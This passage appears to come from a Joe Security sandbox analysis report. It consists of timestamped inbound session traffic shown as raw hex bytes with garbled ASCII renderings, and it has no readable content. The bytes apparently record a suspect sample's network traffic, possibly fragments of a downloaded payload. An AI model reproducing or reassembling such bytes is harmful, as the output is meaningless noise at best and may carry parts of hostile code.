02 26 de b6 12 96 cc 3a 8c a7 58 04 92 c8 53 27 fe d5 75 7e 38 87 ab 0e bc 2e 88 ad f6 49 22 c6 f8 e8 7c 37 68 63 6a 73 fe 9c 24 ca 92 62 93 2d 16 c5 8b b2 71 Data Ascii: Tvyw#-*B|$H!]Th20mTv72jNY4|@Rkx[AbRS8j8'qE@-f=:n88.+nnYxas%V,4vTbda61&:XS'u~8.I"|7hcjs$b-q

2022-01-15 19:23:31 UTC 1563 IN Data Raw: 5d 62 dd 47 9b d7 ee 4f 4a 2b e0 92 d3 7b ec 07 23 9e 05 fb 59 86 8a 7d 7e 83 1e b4 7c a9 43 36 a2 3d bd c3 20 94 5e f3 4d c8 ad c4 f6 c4 1d 55 68 cf fe f8 4d ce 2c 28 b7 4c 70 29 a2 30 6b 09 67 c9 7f c3 72 09 22 23 22 4a 02 80 a3 ad bf 76 03 e4 b1 49 44 29 86 b2 0c 98 4e 6c 54 68 3d f1 11 6d f0 37 cb f1 3d 83 6e 8b c0 a8 79 cf 19 57 8d c2 8b 7f 06 3218 dd 62 cd a8 52 9e 76 78 3d 9a 7a 06 04 37 2d 05 4d 2e 6d 53 c9 9b 2c d8 25 ae 73 79 c3 e7 33 6d c9 24 29 5f 2b fc 7e bd 67 c4 e0 99 d8 a5 e5 2f c5 b9 24 f3 b9 a7 1f 4e b8 e0 6b e4 45 12 7d 79 c3 8f 82 00 17 1e 2c 7e 9e 2a 54 7d 3d 1e 31 9c a6 43 4e e9 a8 49 74 17 61 a9 7d 90 19 52 28 77 4f a4 ee 6f 42 9b 41 ae 9e 3c 1b 4f 5d 46 d8 8d 91 92 b9 34 d0 34 ff e2 a3 21 9a 73 e7 60 52 61 bc 3c 37 73 10 2b 51 a3 Data Ascii: ]bGOJ+{#Y}~|C6= ^MUhM,(Lp)0kgr"#"JvID)NlTh=m7=nyW2bRvx=z7-M.mS,%sy3m$)_+~g/$NkE}y,~*T}=1CNIta}R(wOoBA<O]F44!s`Ra<7s+Q

2022-01-15 19:23:31 UTC 1579 IN Data Raw: 81 b4 31 19 f4 da 69 6f 53 84 19 94 9b 20 66 54 24 89 b9 cb b7 5e da 55 5c ce bb 64 bb 5d 01 d5 48 90 d0 e6 8e e3 c3 b1 52 3f 42 0d 6a cc 23 5e 30 bb 54 a5 9f 53 db 27 f6 b2 36 29 c9 a0 03 6a 95 ff 4b dc 9e 27 71 ab 8a 2c bd d0 b7 87 f9 4f e6 82 b5 93 c1 c0 82 66 a0 c4 b9 d0 ea be 07 6e 4f c3 0f 94 f2 10 14 ed c2 1e 6e 0e fb 61 6b 61 9c 8d d3 83 a7 ef a6 78 c5 85 15 d3 dd cc a6 ca e7 ed d8 5b 3e 5d 76 07 5d 1f f7 94 48 f3 07 0a 34 c8 f6 cc 4b d1 2c 05 8e c5 6c ed 12 f4 09 c5 49 05 1d 63 a0 f9 92 d0 1c a1 f0 a6 77 c5 0e 88 d8 bc 69 5b 24 fc 6e 19 58 fd 9f d5 a7 51 52 47 70 ed 3d 0a 48 e4 48 c3 65 ef 6f 18 b0 07 28 3d 22 5c 03 c0 64 ec ec 72 1e 1f 80 51 a6 62 84 46 1f ec b0 0e fb 8f 8b bb 10 b8 79 08 5d 50 80 50 1f 65 d6 90 64 34 f3 0d 38 0c 43 4c a7 99 a1 Data Ascii: 1ioS fT$^U\d]HR?Bj#^0TS'6)jK'q,OfnOnakax[>]v]H4K,lIcwi[$nXQRGp=HHeo(="\drQbFy]PPed48CL

2022-01-15 19:23:31 UTC 1595 IN Data Raw: 48 1c 2e 38 bd ca c7 91 a0 4f cf 02 89 f0 f9 0a 17 11 9b 1c 24 0f c8 86 e9 1a da 00 5c e7 80 d4 eb 26 2d df 21 b5 4b 17 98 38 65 d4 01 0b 7f f0 d4 63 b0 4e 01 68 4c a8 68 bb eb dd a9 ed d1 84 44 c1 eb 07 6c 01 78 4a c6 00 f7 20 87 2e 7c 4e c3 f8 a3 8e 5a 5e 18 15 aa 41 fb 1e 74 a7 3d 8c d0 cc 63 4f f9 a2 14 64 20 f0 9c bf 8e d0 3d f8 5d 80 ac c3 cd 0b aa 99 90 05 17 1e a4 e8 db a3 ec 30 66 63 63 cd 73 32 1e 63 69 12 09 95 a1 27 a7 a5 23 53 f0 9d 77 39 29 b0 c3 57 67 bd 50 a2 b8 89 90 61 15 eb 43 7d db 9e 64 63 9a 37 6c d1 02 c9 f9 4c 3b 9d 2b 76 be 25 70 db 5d 4c ce 36 48 c0 2f 34 3b 68 40 c8 53 3b 29 c9 2b b5 65 41 5b a1 7d f6 0e bd 9a 92 46 b6 9c e8 c8 78 05 21 9f 92 bf 11 87 8e ac f4 e4 bf 38 29 5a df 55 75 61 d8 cd b1 c8 de d4 15 cf bc 37 02 ad 1e 0c Data Ascii: H.8O$\&-!K8ecNhLhDlxJ .|NZ^At=cOd =]0fccs2ci'#Sw9)WgPaC}dc7lL;+v%p]L6H/4;h@S;)+eA[}Fx!8)ZUua7

2022-01-15 19:23:31 UTC 1611 IN Data Raw: cd 5e 7e 7d 04 1b 2c 5d ef d0 19 a7 c6 3e f0 19 f1 74 4c 10 70 89 b7 45 a1 d4 3f 29 36 33 01 da af c5 b7 46 ac fa de 88 ec ed 5e 78 80 c4 51 b9 8c bf b1 5b e0 4e e6 7f 9a 3c 48 9f 7f c5 d9 19 ac ee d4 a1 d3 f2 b5 46 a0 b4 21 e4 cd 03 55 61 37 8a 2f 16 3f 61 9c 9d 66 23 a0 22 25 1b 13 f7 33 83 28 ae 0f f4 6c 62 2c ca 8a e0 df c5 0f d9 e6 81 0c e2 7d fa 83 1c 50 bb cf fe ac 6a 29 5a ba 5d b5 ef 9a 9b 6a 1f 18 b6 22 4e 9e bf e7 ba 6e 41 2f 0d 97 70 8b c3 18 9d 20 55 ef be 78 fb 9e 86 34 82 dc 33 d0 13 3b b8 93 d7 fe fc 26 db 20 87 76 93 e0 aa 5c 23 ec 44 5d 5a b1 fd de 5a 2d bf d2 f0 28 5e 82 02 8e 8f b4 d4 d0 f5 5d 58 61 55 6d 2f e3 13 8e 9c 0a 65 4b 3d 6c 9f a5 52 2e d6 89 7b 43 b1 48 18 5f d6 f0 20 98 8d a1 b7 bfb7 f7 59 b5 9c 8b 57 d3 08 95 43 0f 8c f3 Data Ascii: ^~},]>tLpE?)63F^xQ[N<HF!Ua7/?af#"%3(lb,}Pj)Z]j"NnA/p Ux43;& v\#D]ZZ-(^]XaUm/eK=lR.{CH_ YWC

2022-01-15 19:23:31 UTC 1627 IN Data Raw: a4 c3 b9 91 ac 75 7e d7 e6 a6 c6 98 98 dd c2 6f 2a b0 f0 05 a6 d7 71 8e 30 cc 18 79 8a 4a 09 72 b7 1b 19 2a 4b 51 73 fd 70 ea 1c d0 14 d2 4a 51 42 56 ba b3 b9 a4 50 1f 87 1f ce 78 fb 11 b6 4d e7 ee 32 6b 25 3f a4 2f 75 3c b4 46 af 05 8e 06 49 ce c0 e4 4a 85 d5 fe e0 ae af 0c b5 d3 02 d7 7c 59 8c 8b 6f 0f 92 e4 42 e7 ec ed 2f 26 7e 1e 32 cb 83 f7 4b 8e 94 8e 48 bb 7e ba 3a a4 6c 71 64 bd 46 84 4f 2b f7 c6 d6 31 27 d8 16 5d 4c da 90 bb 2f fe 53 3f 62 0c 18 6d 67 e3 54 56 a7 9b 58 ce cb 23 c3 a1 0e 68 f4 89 dd 65 ed d4 d4 07 fc a1 46 c8 e8 c3 d0 95 4c df 85 59 96 62 ff 69 13 57 39 93 f2 49 34 8a be 64 0a 12 e8 d5 81 09 55 5d 6c 5f bc cf 7a c8 44 5d 49 fd 2b 9e 42 53 1c ba 14 b1 52 76 8d 9d bf 17 32 91 b7 30 2a b4 2b 57 ad 4b 28 96 13 aa 65 98 4c 20 43 df e6 Data Ascii: u~o*q0yJr*KQspJQBVPxM2k%?/u<FIJ|YoB/&~2KH~:lqdFO+1']L/S?bmgTVX#heFLYbiW9I4dU]l_zD]I+BSRv20*+WK(eL C

2022-01-15 19:23:31 UTC 1643 IN Data Raw: dd 7e 8a 69 d9 80 18 12 2e 86 3a 16 3c 46 6e 55 f2 fd a9 6c a1 24 7e 2e 50 b9 c1 97 16 36 b5 64 8d 6c b2 1e e6 0c 5c 41 2a 03 df c6 da 2a 6e 0b af 0d 88 b5 91 98 f4 56 be 84 72 20 f1 61 74 75 53 1b dd 75 28 88 1b fd ad ae 7f 7b 6b b1 ac 19 bc 31 5f 49 04 1e 10 77 9f 87 c2 bd 38 ce 4c a5 39 05 e4 5d 53 cd 1b 9c be ee 38 7a 89 65 6f d6 b7 b0 e0 e8 c4 61 1b e6 46 67 b7 c1 35 2d 32 03 e7 c5 60 b9 59 9c de e3 4c 70 43 7d 01 c7 0b 4a 17 97 16 ba 20 74 73 0b 56 e0 db 91 88 d0 65 74 08 80 c1 3a 4e 69 5e 75 eb 57 62 2b c6 68 40 b3 09 8f 15 0d 26 51 50 e8 d8 28 51 ad 28 d1 5a 4f 94 8f f6 48 59 c3 25 05 70 08 10 de 26 c0 25 14 5a fb 1e 7f 06 d5 57 67 ab 28 96 47 1c ba e0 23 f1 85 1a 14 96 cc 35 80 ed 49 46 40 4d ff 54 ea 92 27 12 9f ca c7 3b ed bb 53 73 43 8c 55 97 Data Ascii: ~i.:<FnUl$~.P6dl\A**nVr atuSu({k1_Iw8L9]S8zeoaFg5-2`YLpC}J tsVet:Ni^uWb+h@&QP(Q(ZOHY%p&%ZWg(G#5IF@MT';SsCU

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 40 of 103

2022-01-15 19:23:31 UTC 1659 IN Data Raw: 6e 12 75 3f d5 1c 36 9c 5c 3f 68 9a 66 c8 94 e7 f5 56 29 e6 d2 23 bd 87 39 0a fb 51 9e 68 86 79 a0 43 2d a8 dcad ff 57 51 81 fb 13 dc 39 96 99 9d 76 c8 71 6d e2 c6 8d 20 a2 72 ec a6 0a 3c 28 2b 9d 95 dc 52 99 cf 8f 19 aa 7e df 97 413d 2f 97 6c 14 94 57 1f b4 ec 75 88 3e 3c 22 58 8f 53 e4 3a 82 d5 84 c7 ef b2 89 0f ae ff 7e 02 f5 32 00 85 90 20 dc e1 6a 98 03 bf 28 ae a6 ec 32 f2 95 30 de 13 2b b8 19 12 e1 ec 6f ed c8 0b a0 06 10 24 a7 ef f7 b8 c7 0b 94 3a 30 fc bf 93 97 59 3c a9 98 57 95 07 b7 03 a4 b5 3d c6 44 3c e1 5b 3e b2 45 fc 79 fa e1 63 e4 61 27 ce 27 16 7e 40 d9 16 73 11 f5 14 52 49 13 f2 45 55 2a fd 96 82 22 96 76 9d f0 a2 84 21 0d 20 bd dd d8 f9 0a ee a9 0e e4 fd 4c 70 5e b0 f7 64 31 4d 40 49 72 11 e2 4c 22 94 24 2f 84 03 f0 c1 dd 07 d9 43 18 Data Ascii: nu?6\?hfV)#9QhyC-WQ9vqm r<(+R~A=/lWu><"XS:~2 j(20+o$:0Y<W=D<[>Eyca''~@sRIEU*"v! Lp^d1M@IrL"$/C

2022-01-15 19:23:31 UTC 1675 IN Data Raw: db 67 08 d9 15 11 e7 86 39 ca e3 03 9d e7 48 f6 73 ab a8 6b 41 ef 67 7e 1a b6 fa 99 02 12 52 f5 a4 77 16 eb cd f5 d9 f0 2c c9 f1 fa bd 1d 1f 8a 1e 50 42 5a f9 e2 a6 2a 01 44 cc e3 f6 dc 5f 59 4f db fe 50 f8 86 59 d6 a4 9c af a7 3e c4 13 14 da df c4 0d 31 81 c0 34 26 c8 b8 b2 c9 98 00 11 22 98 b1 9e 9f 16 34 52 e8 e6 ba 28 7f be 5c 87 0f 1e 2b 77 64 72 85 70 f4 fa b9 0f fc dc 5a d5 ed 7f 5f 5a 77 5d bf a5 1e 00 65 46 34 86 46 f1 fa ec 67 9f 1f d4 14 c6 e6 ee 0a e4 e0 00 fd a8 25 e3 83 f8 4e 1b 37 c1 d0 03 98 7f 56 2a 09 55 99 38 f2 6e 93 9f 93 bc 37 3d a8 4d ff 10 c2 69 de 9a 5f e4 1b 1c 69 19 b1 0b ca 10 e4 55 5b 81 00 c3 67 24 a3 c2 a5 0f f5 3b 01 95 38 9d 30 5b b1 3e bf 20 83 8f e2 41 40 e4 d8 19 93 62 c3 87 3a 22 70 eb 1b 0b a6 87 de a7 6f 79 04 2d c4 Data Ascii: g9HskAg~Rw,PBZ*D_YOPY>14&"4R(\+wdrpZ_Zw]eF4Fg%N7V*U8n7=Mi_iU[g$;80[> A@b:"poy-

2022-01-15 19:23:31 UTC 1691 IN Data Raw: fc 11 53 eb cb 6f 65 fd 12 47 a5 52 e9 72 c1 73 f0 82 a0 b8 83 d3 35 0f 2a 64 dc aa aa 24 f1 bc 66 3d d3 9f 9c b9 d2 d1 51 73 a3 19 1d e4 63 fb 9c 10 a1 c8 78 4a 7d 00 7d f6 c8 17 56 e8 51 d7 e1 65 14 9a 21 9a 1e 77 90 93 dd 49 2d f4 00 fd 19 ec 6d df b9 7b df f3 42 0a bf 01 26 28 cb 06 d4 ab b7 70 5d b7 76 f5 ed bd bc 8e 6a 3d 4d 13 da b7 4e 82 70 94 66 f3 06 7f d1 ba dd e2 48 2c 59 7b 19 54 9a b6 39 e5 08 1c 93 bb 85 8a 19 01 37 35 8a 70 c2 61 dd 31 f8 7b 30 fa 23 71 04 74 da 2e 7a 7a 64 05 c1 c8 7d 0f cb 86 b6 cb 81 5c 96 06 5d 19 72 c3 ec 79 9b aa a8 8d bf 73 fa 38 d4 b8 8e b0 46 38 41 22 51 26 d9 e4 c7 7a f0 07 3e 70 3e 46 14 4b be 7a 09 93 e3 d3 2e 11 a7 a9 1a 44 d4 5e d6 28 79 1a fd 06 a6 27 77 ba 3d 8c f9 a4 50 7b e2 6f 9e f9 65 de e2 8c ec 9d 63 Data Ascii: SoeGRrs5*d$f=QscxJ}}VQe!wI-m{B&(p]vj=MNpfH,Y{T975pa1{0#qt.zzd}\]rys8F8A"Q&z>p>FKz.D^(y'w=P{oec

2022-01-15 19:23:31 UTC 1707 IN Data Raw: d6 5c 5a ba 45 22 03 39 05 1d 41 35 57 db e7 3e 39 59 9c 98 2c 40 64 af fd 73 73 f3 53 56 6c 89 fb 2a df 95 f9 b0 39 dc 0f 07 1e a7 87 f7 d1 2c e4 8a df 68 1f 31 8b d9 c3 f2 c8 4b 82 a7 d1 4e 37 40 e2 62 f2 ff 83 e0 d9 f0 39 7b 8e 2b ab 82 db 2d 78 fd 91 e9 45 30 fa a4 b9 33 1c 3f 71 38 b9 5f 48 bd 56 e6 8d 7b 95 e0 4b aa 06 7d fc 86 72 4e 92 4f 7f 96 e4 54 fe 7c cc 1a fd e3 41 30 2c b1 c0 d1 f8 ca 19 3e 62 32 0b ac 13 4f 62 06 01 66 07 dc 9a 6a cd 68 3e ac d5 b9 95 f8 6d bc 8b 2c eb fd fe fe 2c a0 89 b9 c5 db e9 ec 9e a6 0d 02 d1 f6 c4 3e 80 98 cd 8f 73 ec 46 d4 eb b4 9e e9 22 24 b4 7a 18 d0 86 45 ff 05 3e c2 6b 5d 57 df 02 4b 0e b9 a8 d8 61 15 12 61 c8 2e 51 8a 51 5e f6 38 d7 62 e3 2f 25 9c 75 c4 bb 38 3d 72 0b 32 fc ed 6b 11 b1 70 19 d8 db 3d ca 03 3e Data Ascii: \ZE"9A5W>9Y,@dssSVl*9,h1KN7@b9{+-xE03?q8_HV{K}rNOT|A0,>b2Obfjh>m,,>sF"$zE>k]WKaa.QQ^8b/%u8=r2kp=>

2022-01-15 19:23:31 UTC 1723 IN Data Raw: a4 94 c6 ce ce 9a 2e 92 43 fe d2 26 7c 6c 71 db 73 05 08 06 a5 28 18 8d 8e 33 9d 7b 0a f5 76 b6 5c a4 8d 74 f4 a3 51 47 39 90 fe 6f 45 66 9b ca fa ea 11 bb 71 46 4d d0 11 32 06 1c 0d 0e 90 11 fd 07 36 e7 c8 b7 a5 54 c7 3c 8f df a4 e7 5b 07 b1 b2 32 36 b5 a3 b9 cc a6 8b 2b cf dc 5e 53 58 63 0a c1 99 f6 c2 3b 23 5f 26 64 41 31 60 5b ba 28 4c f1 03 b0 d9 91 7b 89 45 91 26 3b 37 f9 fb f7 4a 40 69 7d 22 65 cd 48 e8 43 0d 34 50 13 6b a7 14 60 c3 f1 6e 80 df 77 6e 2d d6 d1 f4 1c 8e 06 e4 08 a3 80 50 3e 3e 30 cb 7a 4a a7 38 73 c1 19 68 a1 bd 29 c7 5b 55 83 a9 df 27 c4 5f 76 28 7c dd f9 01 0e 2e a9 59 48 b1 a1 1e c0 7c 28 d7 8e ad 45 86 11 2f f1 a9 8c 20 56 96 48 77 7d d2 58 44 dc 29 06 19 30 29 70 bf b5 5c e1 49 e9 69 49 f1 10 e5 c2 59 77 03 65 92 0f 44 06 18 20 Data Ascii: .C&|lqs(3{v\tQG9oEfqFM26T<[26+^SXc;#_&dA1`[(L{E&;7J@i}"eHC4Pk`nwn-P>>0zJ8sh)[U'_v(|.YH|(E/ VHw}XD)0)p\IiIYweD

2022-01-15 19:23:31 UTC 1739 IN Data Raw: ad 18 b8 ab 52 c3 d6 e3 b4 98 09 71 26 e4 c6 17 63 b8 38 5a 5b f4 2c e6 d8 17 2e 9b 70 16 79 cf 7e dc 64 a5 b6 cc 5e b9 6a 5b c6 16 af 48 00 2d ff 5c 8a a6 b8 75 76 77 db 73 6e 12 ec d7 58 87 aa 1a e1 bd 46 1b b7 f6 29 33 fe 25 c5 64 f9 9a 4d 0e 25 40 b8 ee a2 63 d2 96 30 d9 b5 be f8 0f 35 9b fa 8e ec cc 3e a8 a4 51 e2 56 a6 8d a6 19 b2 f6 91 8e 41 c9 8a fc 28 e1 e2 5e 8c 39 11 4f 88 56 da 32 6d 4b f6 a9 7b 65 23 96 ef 97 26 6b 13 63 f3 6c 9f aa 81 eb 0b 48 cc 3a 82 af 9a 8f dc 44 da 40 86 31 0d 84 67 1c d2 4e cf 87 ab 89 84 37 b6 d4 c0 9a 04 71 dc 3d 2a b1 51 1f bc d7 42 46 9d f8 cd bb 12 24 9c 86 6b 75 42 ac c2 f8 df 18 fd 21 ae 94 4a ad 35 71 58 6c 63 8d 66 a4 5e 80 e3 ba ff 75 a0 79 54 e2 d7 30 82 bf 3a b5 5f 75 8b 16 7f ed 36 50 2e e9 38 fe 4f ec 66 Data Ascii: Rq&c8Z[,.py~d^j[H-\uvwsnXF)3%dM%@c05>QVA(^9OV2mK{e#&kclH:D@1gN7q=*QBF$kuB!J5qXlcf^uyT0:_u6P.8Of

2022-01-15 19:23:31 UTC 1755 IN Data Raw: be f9 f2 39 ba 61 4d 11 7e 75 cf 8d b9 4a 56 7d de 5a 92 56 d5 e4 83 32 f5 a6 f8 12 04 bc 8f 1a a1 0c 0d b0 00 ee dd bb 27 86 aa d9 94 f8 11 f6 69 db 08 f8 07 a9 9c 52 15 0c 95 65 64 86 bc b5 b1 d6 b6 72 2b 63 34 2e ec 10 16 c2 c0 c2 3f 9a ac 52 a6 dd 17 3c 94 27 5d 86 ff 4a 07 dc 9b 56 a0 64 16 65 e9 f0 d0 35 6c 8c b2 80 50 b7 66 c1 57 ac c8 af 31 6b 41 39 00 a7 6a 33 a2 ec a1 d9 2f 4f 76 91 3b 43 6c 7e 5e af b7 d6 14 11 fc 4d 8a b4 10 2c 67 d1 13 84 3d 6f 50 3b 5a 49 93 6a 24 a9 3c cc bb 56 9f e8 15 08 9d 59 5b ec d7 14 81 9d 00 db ee 7c 10 ad c1 54 06 e1 98 f8 c8 57 6d 68 81 b7 1b 51 1d 45 4e 7b 6c 62 15 47 98 ff 0d 65 38 d5 c2 39 33 60 c6 0b 8f 49 8d 79 0e 16 81 71 dd db 07 47 f2 fb 73 67 da da ce de 66 b3 ba 97 8d 64 fc e9 fd 2f 08 ea e0 57 3e fa 80 Data Ascii: 9aM~uJV}ZV2'iRedr+c4.?R<']JVde5lPfW1kA9j3/Ov;Cl~^M,g=oP;ZIj$<VY[|TWmhQEN{lbGe893`IyqGsgfd/W>

2022-01-15 19:23:31 UTC 1771 IN Data Raw: c1 fc 7a ad f2 a7 14 02 57 f2 18 a1 b9 de c5 ed 86 32 89 a2 a6 27 24 9f b6 70 1c 6b c6 dd dd 14 31 db aa 40 f9 9c 0c f6 d0 f1 37 26 b1 22 09 2d 1c 76 09 ab c7 e1 99 fe d3 d3 73 62 30 d0 30 dd 69 3d 2c 58 1d 89 2f c1 2c a5 a8 96 75 88 9b e4 34 c9 d8 14 9e a6 a2 2d d5 0e 8e 9e eb 36 9f 34 6a 8d 90 c7 be 08 b6 f6 c8 60 de 99 63 02 b7 80 33 4e e6 47 ed f5 ed 6e 61 81 96 e6 21 93 bb 16 9e ac 42 e3 e3 a0 af 39 df d5 78 76 00 2c 1b f2 52 58 1f c3 e9 44 37 e7 a7 5a 2b 95 05 7a 4b d5 06 6a d8 c0 0d 59 a0 94 b3 e2 67 07 dc 61 7d 36 6d 58 d6 3d 0c f3 ee 63 08 be c7 16 c7 17 c8 61 ed c8 a0 4f 82 0f aa 71 6e 84 b5 0c ec 80 bf a6 11 e8 66 bb b5 b0 93 f2 d9 57 23 8c 4d 11 a2 d9 da bf f8 ca fa 6c c1 25 22 78 92 76 f1 f4 81 2d c2 50 8b 7f 55 38 c2 a2 b8 1f 49 c0 d3 55 55 Data Ascii: zW2'$pk1@7&"-vsb00i=,X/,u4-64j`c3NGna!B9xv,RXD7Z+zKjYga}6mX=caOqnfW#Ml%"xv-PU8IUU

2022-01-15 19:23:31 UTC 1787 IN Data Raw: 1d b8 db 00 b9 1d ae 09 fd b2 98 45 ac f5 24 79 9b 03 1e b2 70 6d d2 93 1d 9e 6d 7c 69 77 55 69 cd 67 b9 28 eb 80 a2 41 a3 98 dc 52 65 21 5d 49 29 57 37 5c 25 41 e8 2c a1 58 92 f6 0d 10 4f 35 63 44 34 47 00 18 67 49 1a 73 14 23 54 73 62 d4 f5 51 8b fe 6c be ec 0e a0 2d aa 81 47 83 eb 05 f3 8b 30 01 96 24 42 3d 45 ce fe 89 57 74 d3 01 43 9e 1c 10 87 d8 3c e5 7a a6 54 ec 7e 10 45 c1 f1 d6 ae 21 6d e3 90 c7 e6 34 5c dd 22 7a d3 73 74 66 34 4d 1a 64 88 dc 8f d0 36 f0 82 34 ab c4 6b 2b da fc e4 43 63 79 f7 1e ab 87 bf 1f 50 61 d7 2d 5d 05 ce f9 c4 e8 4c ac c4 96 5d 2f 7d 2f 8f 58 d3 88 d4 ad e6 94 42 eb 53 f4 f3 97 6e aa 2a ec 9a e0 a4 d8 c9 9a 9e 6b 90 be 08 12 ac fa b2 da 29 3b 65 9c 3a 70 b2 cf 35 88 60 cd a1 6a ea db a7 91 23 69 3a 55 a3 24 1a df 6f 9c 98 Data Ascii: E$ypmm|iwUig(ARe!]I)W7\%A,XO5cD4GgIs#TsbQl-G0$B=EWtC<zT~E!m4\"zstf4Md64k+CcyPa-]L]/}/XBSn*k);e:p5`j#i:U$o

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 41 of 103

2022-01-15 19:23:31 UTC 1803 IN Data Raw: 24 da 9e 0b e4 ff e1 c4 9c d5 da 45 31 6d cc 02 92 7b 3b 30 ae c0 41 7c 3b 61 37 8f cd 6e 6b 43 26 ce fc 34 fa d9 cf 89 ed 4c 04 93 1b 32 91 e0 89 88 ae 30 a9 75 70 a9 16 b8 96 10 cc df 20 5b 1e 61 0c bd 39 ab 9b 26 7d 3c 22 02 5d 31 e6 91 ea 38 3f 9a 40 97 08 82 21 de 90 8d 09 4a 57 0e 83 8f e5 8a e8 c5 e4 65 79 1b 5f 25 45 fa 0c a9 64 4a f2 e8 b4 c2 83 d4 e0 17 91 f3 c5 72 37 c1 44 04 3b 85 f4 b8 af 13 6d 8e e6 15 c1 a4 a6 b3 ab 29 44 ba a3 77 24 cd 48 20 66 9e b1 f3 97 2e fe 3b 8d 06 7c f3 37 9d 8d af f1 76 1d 4b cb 80 f3 d8 46 53 cc 4c 48 d5 20 b4 33 68 5c 31 22 2e d4 c5 72 41 fa 76 86 ed aa e0 67 df 79 bf 5e 22 9b d6 ea eb 22 cc bd 14 d8 a9 a6 4a fd 67 ad db d7 07 4f 37 ff 44 8a 0d b7 dc ea ae 66 39 f7 09 43 64 76 05 03 c5 8b 07 fb e6 3c 31 ac b3 df Data Ascii: $E1m{;0A|;a7nkC&4L20up [a9&}<"]18?@!JWey_%EdJr7D;m)Dw$H f.;|7vKFSLH 3h\1".rAvgy^""JgO7Df9Cdv<1

2022-01-15 19:23:31 UTC 1819 IN Data Raw: c0 24 6f ae 43 b6 63 5a 68 45 3b b4 ba 65 5c bc 37 63 80 20 de fd 15 ff cc fe 09 38 1b 81 e9 d2 89 db 74 d0 ea 95 18 34 29 a2 59 7d 3a a0 b4 36 19 89 39 ea f8 0b 90 8a 2d 54 4a ba a3 67 78 31 ce ad 20 e9 3b d5 bf 8e a1 98 92 b6 52 6e 44 8c 77 e8 af f2 2e f1 ee 97 63 37 7d 12 46 fc 9e 68 0a 06 0c d2 cd 79 e9 26 7b c9 6c 13 4e 7e ba 2a f3 cb 88 15 88 8d 2e 5b 73 6e 69 43 41 3f 2d 78 3a f0 a3 2a 48 1f b4 d5 63 10 d9 d1 ad 13 6e a2 c4 bc ff 43 d5 f0 a7 00 de 7c 9a 6f e3 30 5d bd 42 11 98 6c f8 9a df 24 65 fc 3d 0d 12 b7 fc 29 21 2f f0 4c 52 dc 33 97 18 90 9c c8 3d 4e 4c 76 45 c1 2a 4f df 3a 4d 88 74 98 13 ed 2d bf 2c 64 4e c4 9e 83 ee 43 73 15 bd 8b 95 48 df 15 c8 e5 11 0f 5b 89 43 7c d3 2a 4e 5d 8e 9e a0 d9 c9 cb 9b 87 6d f6 6b 71 5e 2b 17 29 a4 fa 05 4f 2c Data Ascii: $oCcZhE;e\7c 8t4)Y}:69-TJgx1 ;RnDw.c7}Fhy&{lN~*.[sniCA?-x:*HcnC|o0]Bl$e=)!/LR3=NLvE*O:Mt-,dNCsH[C|*N]mkq^+)O,

2022-01-15 19:23:31 UTC 1835 IN Data Raw: ef 20 06 e8 0f 1c d7 8c 34 4e 45 08 c9 eb f4 2b 58 d5 84 d9 7e 06 42 fe 21 f4 f5 1d 83 fb 83 b0 5c 5b 0f f6 d2 f3 72 17 22 0e 17 7f 64 a4 8e 69 66 72 36 cb 46 06 20 9f f0 66 4e 2a 1f c6 0e 10 33 56 08 4c 55 1a 65 e4 13 68 a6 2b 65 01 b9 0b c9 a6 f0 4d 4b 92 3d c7 68 cf e8 c8 7f 3e f8 e2 b8 1e 9a 82 d7 13 77 a6 67 de 0e 4a 83 35 5e 3c ca 83 23 eb 4e 51 21 1f 2d 08 dd 8b 87 07 69 d5 d8 54 c1 1f 44 20 b5 80 75 c6 0d e7 ef f8 64 90 23 e5 f0 b2 23 95 82 a6 74 ef 2b 09 0f 58 8d 3d e0 e6 62 56 3a b8 cb 80 6c 54 4a bc 91 9d 73 f0 19 65 c4 61 26 93 26 c4 10 39 2a 55 97 bb f8 94 8b 85 19 5d 5e 9e 3a fe a5 53 81 e9 01 2a 3e 36 37 88 96 9b 03 b8 61 87 67 7a ef 7d 39 82 4f 00 35 95 37 f6 cb e0 94 5a 79 59 1f 65 11 73 7b dd df 3b dc 05 c3 b7 a8 f4 d7 61 6d cd 05 52 35 Data Ascii: 4NE+X~B!\[r"difr6F fN*3VLUeh+eMK=h>wgJ5^<#NQ!-iTD ud##t+X=bV:lTJsea&&9*U]^:S*>67agz}9O57ZyYes{;amR5

2022-01-15 19:23:31 UTC 1851 IN Data Raw: 57 a0 c6 7e c4 67 9d 86 d2 6b 03 92 92 ea 60 08 4e ef 1d d3 db 2c 91 fd 27 2b 76 49 52 82 d8 c2 97 a8 24 50 db dd 25 aa ad 31 c5 cb 9f e9 fb 0d 6e 30 f9 7c af bf 3f 27 52 1b a7 f0 06 d7 51 1e a4 64 79 a8 e8 85 10 e5 ed 8f d0 3c cf 4f 33 ab 87 eb 72 c6 b4 ae 1e fa 88 20 3c a6 1c 1b f6 77 2c 29 98 e8 91 f1 d0 4c e4 ae 1c 46 16 16 aa 8d fb 1e 79 11 77 3fc1 84 f2 94 a5 bb ac c5 53 60 72 98 be 00 a9 eb ee a7 20 6a d8 8f 91 b7 54 da 1a 1c 5f 0b 0c 92 bf d6 71 4a 84 25 20 1b 6b 2c 8e 59 46 e2 4f 07 d3 c0 a2 56 59 cc cf 8d c7 08 61 34 3f ec 62 da 1e be 2c 04 ff bb f5 d4 53 75 cc b5 e3 8f c8 a1 da 10 92 54 d2 d6 9b b8 3d a1 23 9e c9 57 55 55 fe df ff 9f 0d c3 ba b1 84 96 ed b1 74 9a 77 8c c0 59 e4 3d 6a cf 85 f8 e8 1e 24 26 77 7c cf 4c 15 2c b9 75 5a 00 40 81 66 Data Ascii: W~gk`N,'+vIR$P%1n0|?'RQdy<O3r <w,)LFyw?S`r jT_qJ% k,YFOVYa4?b,SuT=#WUUtwY=j$&w|L,uZ@f

